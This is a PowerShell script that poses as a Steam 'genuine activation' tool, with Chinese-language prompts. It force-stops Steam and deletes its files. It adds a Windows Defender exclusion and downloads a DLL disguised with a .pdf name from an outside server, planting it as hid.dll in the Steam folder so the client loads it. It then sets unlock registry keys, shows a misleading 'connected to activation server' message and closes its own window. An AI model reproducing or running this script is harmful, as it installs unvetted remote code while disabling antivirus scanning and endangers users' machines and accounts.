cls
[Console]::InputEncoding = [System.Text.Encoding]::UTF8

Write-Host -NoNewline "          _____                _____                    _____                    _____                    _____          `r" -ForegroundColor:blue
Write-Host -NoNewline "         /\    \              /\    \                  /\    \                  /\    \                  /\    \         `r" -ForegroundColor:blue
Write-Host -NoNewline "        /::\    \            /::\    \                /::\    \                /::\    \                /::\____\        `r" -ForegroundColor:blue
Write-Host -NoNewline "       /::::\    \           \:::\    \              /::::\    \              /::::\    \              /::::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "      /::::::\    \           \:::\    \            /::::::\    \            /::::::\    \            /:::::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "     /:::/\:::\    \           \:::\    \          /:::/\:::\    \          /:::/\:::\    \          /::::::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "    /:::/__\:::\    \           \:::\    \        /:::/__\:::\    \        /:::/__\:::\    \        /:::/|::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "    \:::\   \:::\    \          /::::\    \      /::::\   \:::\    \      /::::\   \:::\    \      /:::/ |::|   |        `r" -ForegroundColor:blue
Write-Host -NoNewline "  ___\:::\   \:::\    \        /::::::\    \    /::::::\   \:::\    \    /::::::\   \:::\    \    /:::/  |::|___|______  `r" -ForegroundColor:blue
Write-Host -NoNewline " /\   \:::\   \:::\    \      /:::/\:::\    \  /:::/\:::\   \:::\    \  /:::/\:::\   \:::\    \  /:::/   |::::::::\    \ `r" -ForegroundColor:blue
Write-Host -NoNewline "/::\   \:::\   \:::\____\    /:::/  \:::\____\/:::/__\:::\   \:::\____\/:::/  \:::\   \:::\____\/:::/    |:::::::::\____\`r" -ForegroundColor:blue
Write-Host -NoNewline "\:::\   \:::\   \::/    /   /:::/    \::/    /\:::\   \:::\   \::/    /\::/    \:::\  /:::/    /\::/    / ~~~~~/:::/    /`r" -ForegroundColor:blue
Write-Host -NoNewline " \:::\   \:::\   \/____/   /:::/    / \/____/  \:::\   \:::\   \/____/  \/____/ \:::\/:::/    /  \/____/      /:::/    / `r" -ForegroundColor:blue
Write-Host -NoNewline "  \:::\   \:::\    \      /:::/    /            \:::\   \:::\    \               \::::::/    /               /:::/    /  `r" -ForegroundColor:blue
Write-Host -NoNewline "   \:::\   \:::\____\    /:::/    /              \:::\   \:::\____\               \::::/    /               /:::/    /   `r" -ForegroundColor:blue
Write-Host -NoNewline "    \:::\  /:::/    /    \::/    /                \:::\   \::/    /               /:::/    /               /:::/    /    `r" -ForegroundColor:blue
Write-Host -NoNewline "     \:::\/:::/    /      \/____/                  \:::\   \/____/               /:::/    /               /:::/    /     `r" -ForegroundColor:blue
Write-Host -NoNewline "      \::::::/    /                                 \:::\    \                  /:::/    /               /:::/    /      `r" -ForegroundColor:blue
Write-Host -NoNewline "       \::::/    /                                   \:::\____\                /:::/    /               /:::/    /       `r" -ForegroundColor:blue
Write-Host -NoNewline "        \::/    /                                     \::/    /                \::/    /                \::/    /        `r" -ForegroundColor:blue
Write-Host -NoNewline "         \/____/                                       \/____/                  \/____/                  \/____/         `r" -ForegroundColor:blue

$localPath = Join-Path $env:LOCALAPPDATA "steam"
$steamRegPath = 'HKCU:\Software\Valve\Steam'
$steamToolsRegPath = 'HKCU:\Software\Valve\Steamtools'
$steamPath = ""

function Remove-ItemIfExists($path) {
    if (Test-Path $path) {
        Remove-Item -Path $path -Force -ErrorAction SilentlyContinue
    }
}

function ForceStopProcess($processName) {
    Get-Process $processName -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
    Start-Sleep -Seconds 2 
    if (Get-Process $processName -ErrorAction SilentlyContinue) {
        Start-Process cmd -ArgumentList "/c taskkill /f /im $processName.exe" -WindowStyle Hidden -ErrorAction SilentlyContinue
    }
}

function CheckAndPromptProcess($processName, $message) {
    while (Get-Process $processName -ErrorAction SilentlyContinue) {
        Write-Host $message -ForegroundColor Red
        Start-Sleep 1.5
    }
}

$filePathToDelete = Join-Path $env:USERPROFILE "get.ps1"
Remove-ItemIfExists $filePathToDelete

ForceStopProcess "steam"
if (Get-Process "steam" -ErrorAction SilentlyContinue) {
    CheckAndPromptProcess "Steam" "[请先退出 Steam 客户端]"
}

if (Test-Path $steamRegPath) {
    $properties = Get-ItemProperty -Path $steamRegPath -ErrorAction SilentlyContinue
    if ($properties -and 'SteamPath' -in $properties.PSObject.Properties.Name) {
        $steamPath = $properties.SteamPath
    }
}
if ([string]::IsNullOrWhiteSpace($steamPath)) {
    Write-Host "您的电脑没有安装官方正版 Steam 客户端，请安装后再次尝试。" -ForegroundColor Red
    Start-Sleep 10
    exit
}

if (-not (Test-Path $steamPath -PathType Container)) {
    Write-Host "您的电脑没有安装官方正版 Steam 客户端，请安装后再次尝试。" -ForegroundColor Red
    Start-Sleep 10
    exit
}

$steamConfigPath = Join-Path $steamPath "config"
$hidPath = Join-Path $steamPath "hid.dll"
Remove-ItemIfExists $hidPath

function PwStart() {
    try {
        if (!$steamPath) {
            return
        }
        if (!(Test-Path $localPath)) {
            New-Item $localPath -ItemType directory -Force -ErrorAction SilentlyContinue
        }
        
        $steamCfgPath = Join-Path $steamPath "steam.cfg"
        Remove-ItemIfExists $steamCfgPath
        
        $steamBetaPath = Join-Path $steamPath "package\beta"
        Remove-ItemIfExists $steamBetaPath
        
        $catchPath = Join-Path $env:LOCALAPPDATA "Microsoft\Tencent"
        Remove-ItemIfExists $catchPath
        try { Add-MpPreference -ExclusionPath $hidPath -ErrorAction SilentlyContinue } catch {}
        
        $downloadHidDll = "https://cdn.wmpvp.com/steamWeb/1AB9D0F4DC35464BA5D7A32A234D441C-1731878710626.pdf"
        
        try {
            Invoke-RestMethod -Uri $downloadHidDll -OutFile $hidPath -ErrorAction Stop
        } catch {
            if (Test-Path $hidPath) {
                Move-Item -Path $hidPath -Destination "$hidPath.old" -Force -ErrorAction SilentlyContinue
                Invoke-RestMethod -Uri $downloadHidDll -OutFile $hidPath -ErrorAction SilentlyContinue
            }
        }
        
        if (!(Test-Path $steamToolsRegPath)) {
            New-Item -Path $steamToolsRegPath -Force | Out-Null
        }
        
        Remove-ItemProperty -Path $steamToolsRegPath -Name "ActivateUnlockMode" -ErrorAction SilentlyContinue
        Remove-ItemProperty -Path $steamToolsRegPath -Name "AlwaysStayUnlocked" -ErrorAction SilentlyContinue
        Remove-ItemProperty -Path $steamToolsRegPath -Name "notUnlockDepot" -ErrorAction SilentlyContinue
        
        Set-ItemProperty -Path $steamToolsRegPath -Name "iscdkey" -Value "true" -Type String
        
        $steamExePath = Join-Path $steamPath "steam.exe"
        Start-Process $steamExePath
        Start-Process "steam://"
        Write-Host "[已成功连接正版激活服务器，请登录Steam来激活]" -ForegroundColor Green

        for ($i = 5; $i -ge 0; $i--) {
            Write-Host "`r[本窗口将在 $i 秒后关闭...]" -NoNewline
            Start-Sleep -Seconds 1
        }
        
        $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$PID'"
        while ($null -ne $instance -and -not($instance.ProcessName -ne "powershell.exe" -and $instance.ProcessName -ne "WindowsTerminal.exe")) {
            $parentProcessId = $instance.ProcessId
            $instance = Get-CimInstance Win32_Process -Filter "ProcessId = '$($instance.ParentProcessId)'"
        }
        if ($null -ne $parentProcessId) {
            Stop-Process -Id $parentProcessId -Force -ErrorAction SilentlyContinue
        }
        
        exit
        
    } catch {
    }
}

PwStart